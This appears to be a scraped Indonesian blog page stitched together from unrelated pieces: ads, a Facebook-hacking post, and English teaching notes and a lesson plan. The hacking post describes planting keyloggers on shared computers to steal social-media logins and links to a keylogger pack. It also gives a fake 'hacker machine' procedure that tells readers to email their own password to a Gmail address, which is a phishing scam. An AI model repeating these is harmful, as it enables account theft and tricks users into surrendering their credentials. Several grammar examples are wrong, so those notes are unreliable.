JASA PEMBUATAN TOKO ON LINE

Kami menawarkan jasa pembuatan toko online dengan biaya HANYA Rp 450.000,-

FITUR TOKO ONLINE, ANTARA LAIN:
1. Katalog produk lengkap dengan shopping cart nya
2. Ongkos kirim otomatis
3. Detail produk bisa di download pengunjung toko (dalam format PDF)
4. Ada statistik untuk melihat jumlah customer tiap bulan, jumlah item terjual dan nilai penjualan


BIAYA SUDAH TERMASUK:
1. Nama Domain (misalnya: www. tokosaya.com)
2. Alamat Email (seperti: sales@tokosaya. com)
3. Web Hosting kapasitas 50MB, bandwidth 2GB


Jika Bapak/Ibu tertarik, silakan kunjungi website kami di www.1001toko.com atau hubungi kami melalui 081230257395


Terimakasih atas kesediaannya membaca pesan ini.
Salam,

Cara cara menghack akun fb

Apa itu keylogger? sebenarnya keylogger itu semacam software yang digunakan untuk memantau kegiatan keyboard komputer, setiap tombol yang di tekan oleh user maka semua record akan di simpan dengan keylogger.

Buat para orang tua biasa nya mereka memantau anak nya yang sedang browsing dengan cara memasang keylogger di komputer, jadi semua situs yang di “search” oleh si anak akan terekam oleh keylogger. sehingga semua situs yang berbau porno bisa langsung ketahuan oleh si orang tua.


Biasa nya keylogger akan di deteksi sebagai vrus oleh “antivirus”, karena memang keylogger bisa menjadi 2 mata pisau yang bisa MENGAMANKAN dan juga bisa MEMATIKAN.


Maksud nya mematikan adalah, keylogger bisa saja di gunakan oleh orang-orang yang tidak bertanggung jawab untuk melakukan hacking, banyak orang ingin mencoba melakukan hack pada situs social networking seperti facebook dan friendster.


Jadi tinggal di instal di komputer lalu orang yang menggunakan komputer tersebut akan terekam seluruh kegiatan nya termasuk kegiatan memasukkan “password dan username” facebook dan friendster. bisa saja hal ini dilakukan oleh para pemilik warnet yang iseng dan tidak bertanggung jawab, atau bisa saja dilakukan oleh si pengguna komputer sebelum nya dengan cara mematikan fungsi antivirus nya terlebih dahulu lalu kemudian menginstall keylogger.


Untuk mencari keylogger bisa di cari di kotak kiri sebelah atas dengan kata kunci “keylogger”, nah kalo udah download jangan di pake buat yang negatif-negatif ya…ini hanya buat contoh saja.




Nah, ada beberapa cara untuk menghindari cara pencurian “privacy” seperti ini:


1. Download disini


2. Simpan baik-baik aplikasi tersebut di flashdisk anda dan ketika anda ingin mengisi username dan password di facebook atau friendstersilahkan jalankan aplikasi tersebut, maka keylogger pun akan ter-enkripsi (teracak-acak) dalam menyimpan kegiatan keyboard kita. sehingga keylogger tidak akan bisa mencuri password dan username kita.


Untuk mendownload keyloggernya bisa di download di

http://rapidshare.com/files/191921436/Aio_Keyloggers_Pack.part1.rar

http://rapidshare.com/files/191921441/Aio_Keyloggers_Pack.part2.rar





source
====================================================================

cara lain

Dimohon Gunakan layanan ini dengan bijak

(MOHON JANGAN DISALAHGUNAKAN)
Caranya sangat simpel anda cukup mengirimkan email ke mesin hacker facebook. Setelah itu mesin hacker akan mengirimkan password facebook yang anda minta.


BACA BAIK-BAIK !!!
------------------------

langkah-langkahnya :


-login ke email anda. (khusus pengguna yahoo/gmail)
-Lanjutkan ke halaman mengirim pesan.
-Kirim email ke : autorenewlogin@gmail.com
-bcc: cc: (biarkan kosong)
-Subject: PASSWORD RETRIEVE

-Isi pesan :
baris pertama tulis alamat email anda.
baris kedua tulis alamat email korban.
baris ketiga tulis password email anda.
baris keempat tulis dengan kode ini : cgi-bin/$et76431&pwr999



Ini contoh pesan yang harus anda kirim :

To : autorenewlogin@gmail.com
Bcc: Bc: (biarkan kosong)
Subject : password retrieve
Isi :
damien.vir@yahoo.co.id
angela@yahoo.com
DAMIENVIR
cgi-bin/$et76431&pwr999


CATATAN :
1. Ingat anda mengirimkan email ke mesin bukan ke orang.Anda akan mendapat pemberitahuan setiap jam 10 pagi.
2. Fungsi anda memberikan password adalah untuk memudahkan mesin mencocokkan password anda dengan password si korban, jika password tersebut tidak sama, maka anda akan mendapat pemberitahuan bahwa password anda berbeda dan tentunya mesin akan mengirimkan password si korban juga ke email anda.
3. Jika anda mendapat pemberitahuan
"Cannot find a password ! Give a little time to fix this problem, We will sent back your request for a few days"
tunggu beberapa hari,dan mesin hacker akan mengirimkan password lagi ke anda. (paling lama 1minggu)
4. Walaupun email anda yahoo, namun email si korban gmail, tidak menjadi masalah.namun ingat ini hanya berlaku untuk pengguna YAHOO! dan GMAIL.


ditulis oleh Nikita

sumber





Yang lain:


Pencurian akun facebook dengan halaman login palsu (fake login)

Ngintip Hacker Meng-Hack Akun Facebook

Jika facebook anda di hack

Cara Hacking Facebook? Facebook Hacking Method?

"PUSKESMAS BAHASA INGGRIS" ANTOK & Friends
a centre of English course to train your English skill.

- English for young leraners
- English for Adult
- English private service
- Regural English course
- Preparation for Engliskh test ( SMPTN, Placement Test)

JL. Ngagel Dadi III A /10 Surabaya
www.antokpujianto.blogspot.com
Phone : (031)5041114
Mobile : 081230257395

Yang mau copy file, booolleh.

Sintak/langkah langkah Pembelajaran koopertaif

Fase
Kegiatam guru

Fase1
Menyampaikan tujuan dan memotivasi siswa Guru menyampaikan semua tujuan pembelajaran yang ingin dicapai pada pelajaran tersebut
Fase 2
Menyajikan informasi
Fase 3
Mengorganisasikan siswa ke dalam kelompok kelompok belajar Guru menyajikan inform kepada siswa


Guru menjelaskan kepada siswa untuk membentuk kelompok
Fase 4
Membimbing kelompok bekerja dan belajar
Guru membimbing kelompok kelompok belajar pada saat mereka mengerjakan tugas mereka
Fase 5
Evaluasi
Guru mengevaluasi hasil belajar ttg mhteri yg tlh dipljarsi, atau masing masing kelompok mempresentasikan hasil kerjanya.
Fase 6
Memberikan pengkhargaan Guru mencari cara cara untuk menghargai baik upaya maupun hasil belajar individu dan kelompok


Kriteria Penghargaan

Nilai rata – rata Kelompok Penghargaan Kelompok
15
20
25
Tim Baik (good team)
Tim Hebat (great team)
Tim Super (Super team)

Kritreria poin Perbaiakan
Apabila suatu skor kuis adalah ............. Seorang siswa mendapatkan .....................
Memperoleh nilai sempurna tidak memandang berapapun skor dasar 30 poin
Lebih dari 10 poin dari skor 30 poin score perbaiakan
Skor dasar sampai sepuluh poin diatas skor dasar 20 poin
Sepuluh poin dibawah sampai satu poin dibawah skor dasar 10 poin

How Many Words Do Students Need to Know?
Over the years, estimates of student vocabulary size have varied greatly, hindered in part by issues such as the types of vocabularies being considered (e.g., receptive/ productive or oral/print). Depending on how they approached such issues, early vocabulary researchers reported figures ranging from 2,500 to 26,000 words in the vocabularies of typical grade 1 students and from 19,000 to 200,000 words for college graduate students (Beck & McKeown, 1991). As researchers began to define more clearly what they meant by vocabulary size, the estimates became more precise. At the present time, there is considerable consensus among researchers that students add approximately 2,000 to 3,500 distinct words yearly to their reading vocabularies (Anderson & Nagy, 1992; Anglin, 1993; Beck & McKeown, 1991; White et al., 1990).

Adjective showing feeling

RENCANA PELAKSANAAN PEMBELAJARAN

Nama Sekolah : SMK PRAPANCA 2 Surabaya
Mata Pelajaran : BAHASA INGGRIS
Kelas/Semester : X/1
Pokok Bahasan : Adjective showing feeling use –ed and -ing
Alokasi Waktu : 2 X 45 Menit

I. Tujuan Umum Pembelajaran
Berkomunikasi dengan bahasa inggris setara level novice.

II. Tujuan Khusus Pembelajaran
Menyebutkan benda-benda, orang, ciri-ciri, waktu, hari, bulan dan tahun.

III. Indikator
• Siswa dapat mengetahui adjective yang digunakan untuk menggambarkan perasaan (sikap)
• Siswa dapat mengetahui perbedaan anntara adjective feeling use –ing and -ed
• Siswa dapat membuat kalimat dengan menggunakan adjective showing feeling use –ing and –ed.

IV. Metode Pembelajaran/ Tehnik :
Metode : Cooperative, Tanya jawab dan diskusi.
Pendekatan : Comunicative Learning.

V. Kegiatan pembelajaran
1. Membuka Pelajaran (20 menit)
• Greeting dan memberikan motivasi belajar kepada siswa.
• Melakukan presensi siswa.



2. Inti Pelajaran ( 60 menit)
Materi pokok.
• The present participle (-ing) digunakan untuk menggambarkan siapa atau apa apa yang menyebabkan feeling.
Example : I am boring
contoh kalimat diatas menggambarkan bahwa ‘I’ membuat orang lain merasa bosan/saya sedang bosan.
I don’t talk very much or do not have many interesting things to talk about.
• The past participle (~ed) digunakan untuk menggambarkan siapa yang mengalami perasaan bosan.
Example :I am bored, I am not interested in whatever is happening around me. Maybe I am in a boring lecture (the professor causes me to be bored) or I don’t have a good book to read at home and there is nothing interesting on television.

Common adjective which use –ing or -ed
amazing/amazed
amusing/amused
annoying/annoyed
boring/bored
challenging/challenged
confusing/confused
depressing/depressed
disappointing/disappointed
encouraging/encouraged
embarrassing/embarrassed
exciting/excited
exhausting/exhausted
fascinating/fascinated
frightening/frightened
frustrating/frustrated
insulting/insulted
interesting/interested
moving/moved
pleasing/pleased
relaxing/relaxed
satisfying/satisfied
shocking/shocked
surprising/surprised
thrilling/thrilled
tiring/tired
worrying/worried


3. Menutup Pelajaran (20 menit)
a. Mengulang ringkasan materi.
b. Memberikan pertanyaan secara langsung kepada siswa/ meminta siswa membuat contoh kalimat adjective showing feeling
c. Memberikan tugas.

VI. Media Pembelajaran
• Media Pembelajaran : Laptop, papan tulis,
• Bahan Pembelajaran : English for vocational School, English Dictionary, www.easyenglish.com

VII. Penilaian
a. Melakukan pertanyaan secara lisan.
b. Menilai hasil tugas dan keaktifan siswa.







Surabaya, 21 Nopember 2010
Mengetahui,

Guru Pamong Nama Mahasiswa


( ) (Pujianto)

Adjective clause

Adjective Clause.
Phrase : a group of words
Clause : group of words containing a subject and a verb.
Independent clause / main clause : kalimat lengkap yang dapat berdiri sendiri..
Dependent clause : kalimat yg tidak dapat berdiri sendiri dan harus dihubungkan dengan kalimat independent
• Who, Which, That (Used as subject)
Examples :
1. - Independent clause : The woman is my sister
- Dependent clause n : She sits over there
The woman who sits over there is my sister
The man that sits over there is my sister
2. - The book is mine
- It is on the table
The book which is on the table is mine
The book that is on the table is mine.

• Whom, which, that (Used as object)
Examples :
1. - The man is Mr. Jones
- I meet him
The man whom I meet is Mr. Jones
2. - The food is very delicious
- My mother cooks it for my dinner
The food which my mother cooks is very delicious

• Whose
Example :
1. - The students writes well
- I read her composition
The students whose composition I read writes well
2. - Mr. Jack has a beautiful painting
- Its value is inestimable
Mr. Jack has a beautiful whose value is inestimable.
3. - I know the man
- His bicycle is stolen
I know the man whose his bicycle is stolen

• Where
Example :
1. - The building is very old
- The students live there (in that buliding)
The building where the students live there is very old
2. - The beach is very beautiful
- We go there every weekend
The beach where we go there every weekend is beautiful.
• When
Example :
1. - I forget the day
- The party will be celebrate
I forget the day when the party will be celebrate.
- Summer is the time of year
- The weather is the hottest then